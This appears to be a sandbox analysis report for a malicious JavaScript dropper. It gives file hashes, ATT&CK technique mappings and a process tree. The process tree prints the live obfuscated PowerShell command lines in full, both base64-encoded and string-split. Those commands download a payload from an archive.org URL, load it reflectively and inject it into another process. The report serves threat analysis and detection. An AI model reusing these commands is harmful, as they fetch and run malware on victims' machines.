228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457

General

Target

228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457.js
Size

320KB
MD5

b54f5c7cb5ac3d69127941e40966ab0c
SHA1

c75973c8bee061c5e4994e2e9da6ebb830719e31
SHA256

228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457
SHA512

26b0b14d52ed23906448121c2078e032fda790df95cd27c49a888fba3b17f725d494fc89298a6a99e795faa594de1ea4739a113331129bc3395f22a387f53987
SSDEEP

6144:6Xx8rS9pLPEFSkgJisDKPdGuoKeM4k6iPrjt5DiqVAo2JIF1wS8TeBVDm6T3ViZ5:wx2spLPEFSkUisDKVA5k6arjLDi2PmCC

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2224	powershell.exe
6	2224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe
2224	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2544	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 2544	2100	wscript.exe	30
PID 2100 wrote to memory of 2544	2100	wscript.exe	30
PID 2100 wrote to memory of 2544	2100	wscript.exe	30
PID 2544 wrote to memory of 2224	2544	powershell.exe	32
PID 2544 wrote to memory of 2224	2544	powershell.exe	32
PID 2544 wrote to memory of 2224	2544	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUAMwB6ACcAKwAnAHUAcgBsACAAPQAgAGgAaQB6AGgAdAB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwACcAKwAnADQANgAwADEALgB1AHMALgBhAHIAYwBoAGkAdgBlAC4AJwArACcAbwByAGcALwA2AC8AaQAnACsAJwB0AGUAbQBzAC8AZABlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtACcAKwAnAGoAJwArACcALwAnACsAJwBEACcAKwAnAGUAdABhAGgATgBvAHQAZQBKACcAKwAnAC4AdAB4AHQAJwArACcAaABpAHoAJwArACcAOwBFACcAKwAnADMAegAnACsAJwBiACcAKwAnAGEAcwBlACcAKwAnADYANABDACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnACAAPQAnACsAJwAgACgATgAnACsAJwBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAgAFMAeQAnACsAJwBzAHQAZQBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAJwArACcAaQBlACcAKwAnAG4AdAApAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAByAGkAbgBnACgAJwArACcARQAzAHoAJwArACcAdQByAGwAKQA7AEUAMwB6ACcAKwAnAGIAaQBuAGEAcgB5AEMAbwBuAHQAJwArACcAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuACcAKwAnAHYAZQAnACsAJwByAHQAXQA6ADoARgByAG8AbQAnACsAJwBCAGEAcwAnACsAJwBlADYANABTAHQAcgBpAG4AZwAnACsAJwAoAEUAMwB6AGIAYQBzAGUANgAnACsAJwA0AEMAbwBuAHQAZQBuAHQAKQA7AEUAMwAnACsAJwB6AGEAcwBzAGUAJwArACcAbQBiAGwAeQAgAD0AIAAnACsAJwBbAFIAZQAnACsAJwBmAGwAZQAnACsAJwBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAZAAoACcAKwAnAEUAMwB6AGIAaQBuAGEAcgB5AEMAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEUAMwB6AHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACcAKwAnACAARQAzAHoAJwArACcAYQBzACcAKwAnAHMAZQBtACcAKwAnAGIAbAB5ACcAKwAnAC4ARwAnACsAJwBlAHQAVAB5AHAAZQAnACsAJwAoAGgAJwArACcAaQB6AFIAdQBuAFAARQAuAEgAbwBtAGUAaABpAHoAJwArACcAKQAnACsAJwA7AEUAMwB6ACcAKwAnAG0AZQB0AGgAJwArACcAbwBkACcAKwAnACAAPQAgAEUAMwB6AHQAeQAnACsAJwBwAGUALgBHACcAKwAnAGUAdABNAGUAdAAnACsAJwBoACcAKwAnAG8AJwArACcAZAAoAGgAaQB6AFYAQQAnACsAJwBJACcAKwAnAGgAaQB6ACkAJwArACcAOwBFADMAegBtACcAKwAnAGUAdABoAG8AZAAuAEkAbgB2AG8AJwArACcAawBlACgARQAzAHoAbgB1AGwAbAAnACsAJwAsACcAKwAnACAAJwArACcAWwBvAGIAagBlACcAKwAnAGMAJwArACcAdABbACcAKwAnAF0AXQAnACsAJwBAACcAKwAnACgAaABpAHoAdAAnACsAJwB4AHQALgA5ADkAMQAvACcAKwAnAHYAJwArACcAZQAnACsAJwBkAC4AJwArACcAMgByACcAKwAnAC4ANAA3ACcAKwAnAGEAZgAzACcAKwAnADIAYQBlAGMAOABlACcAKwAnADYAJwArACcAMABhADcAOAAyADcAOQA0ADYAJwArACcAMAAzACcAKwAnAGMAMABiADEAMwA0AGMAOQAzAC0AJwArACcAYgB1AHAAJwArACcALwAvADoAcwBwAHQAdAAnACsAJwBoACcAKwAnAGgAJwArACcAaQAnACsAJwB6ACAALAAgAGgAaQAnACsAJwB6AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AaABpACcAKwAnAHoAIAAsACAAaABpAHoAJwArACcAZABlAHMAJwArACcAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAegAgACwAJwArACcAIABoAGkAegBkAGUAJwArACcAcwBhAHQAaQAnACsAJwB2AGEAZAAnACsAJwBvAGgAaQAnACsAJwB6ACcAKwAnACwAJwArACcAaABpAHoAJwArACcAQQBkACcAKwAnAGQASQBuAFAAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAJwArACcAMwAyAGgAJwArACcAaQB6ACwAaABpAHoAJwArACcAZABlAHMAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAJwArACcAegApACcAKwAnACkAJwArACcAOwAnACkALgBSAEUAUABsAEEAQwBFACgAKABbAGMASABhAFIAXQA2ADkAKwBbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADIAMgApACwAJwAkACcAKQAuAFIARQBQAGwAQQBDAEUAKAAoAFsAYwBIAGEAUgBdADEAMAA0ACsAWwBjAEgAYQBSAF0AMQAwADUAKwBbAGMASABhAFIAXQAxADIAMgApACwAWwBzAHQAcgBJAE4AZwBdAFsAYwBIAGEAUgBdADMAOQApACAAfAAmACAAKAAgACQARQBOAHYAOgBDAE8AbQBTAHAARQBDAFsANAAsADIANAAsADIANQBdAC0AagBPAEkATgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('E3z'+'url = hizhttps://'+'ia'+'90'+'4601.us.archive.'+'org/6/i'+'tems/det'+'ah-note-'+'j'+'/'+'D'+'etahNoteJ'+'.txt'+'hiz'+';E'+'3z'+'b'+'ase'+'64C'+'ontent'+' ='+' (N'+'ew-Ob'+'j'+'ec'+'t Sy'+'stem.N'+'et.We'+'bCl'+'ie'+'nt).Down'+'lo'+'adString('+'E3z'+'url);E3z'+'binaryCont'+'ent = [System.Con'+'ve'+'rt]::From'+'Bas'+'e64String'+'(E3zbase6'+'4Content);E3'+'zasse'+'mbly = '+'[Re'+'fle'+'ction.Asse'+'mbly]:'+':Load('+'E3zbinaryCo'+'n'+'te'+'nt);E3zty'+'pe '+'='+' E3z'+'as'+'sem'+'bly'+'.G'+'etType'+'(h'+'izRunPE.Homehiz'+')'+';E3z'+'meth'+'od'+' = E3zty'+'pe.G'+'etMet'+'h'+'o'+'d(hizVA'+'I'+'hiz)'+';E3zm'+'ethod.Invo'+'ke(E3znull'+','+' '+'[obje'+'c'+'t['+']]'+'@'+'(hizt'+'xt.991/'+'v'+'e'+'d.'+'2r'+'.47'+'af3'+'2aec8e'+'6'+'0a7827946'+'03'+'c0b134c93-'+'bup'+'//:sptt'+'h'+'h'+'i'+'z , hi'+'zdesati'+'vadohi'+'z , hiz'+'des'+'ativa'+'dohiz ,'+' hizde'+'sati'+'vad'+'ohi'+'z'+','+'hiz'+'Ad'+'dInPr'+'oces'+'s'+'32h'+'iz,hiz'+'desativa'+'dohi'+'z)'+')'+';').REPlACE(([cHaR]69+[cHaR]51+[cHaR]122),'$').REPlACE(([cHaR]104+[cHaR]105+[cHaR]122),[strINg][cHaR]39) |& ( $ENv:COmSpEC[4,24,25]-jOIN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KRVE26M9OIIGB0WI3QJ5.temp

Filesize
7KB

MD5
dba5f5f2d0c56701faa5d722f8d1ee44

SHA1
9c16f6efa0d069989a90724770246fe971371e1f

SHA256
a09bd0113764f7b1081340d4edd7a181372c9c2f5283268e31b4b69889f399f4

SHA512
36f2fe2e9e52f91457634156b6e5a4bf201d113f96f84e736388d46fc65ac9dfca5d97f1669146643532447c5e056abe586fd381cff82ff963dc6d7bab07ffa0

Download Submit
memory/2544-4-0x000007FEF5C0E000-0x000007FEF5C0F000-memory.dmp

Filesize
4KB

Download
memory/2544-7-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download
memory/2544-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2544-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2544-8-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download
memory/2544-9-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download
memory/2544-10-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download
memory/2544-11-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download
memory/2544-17-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing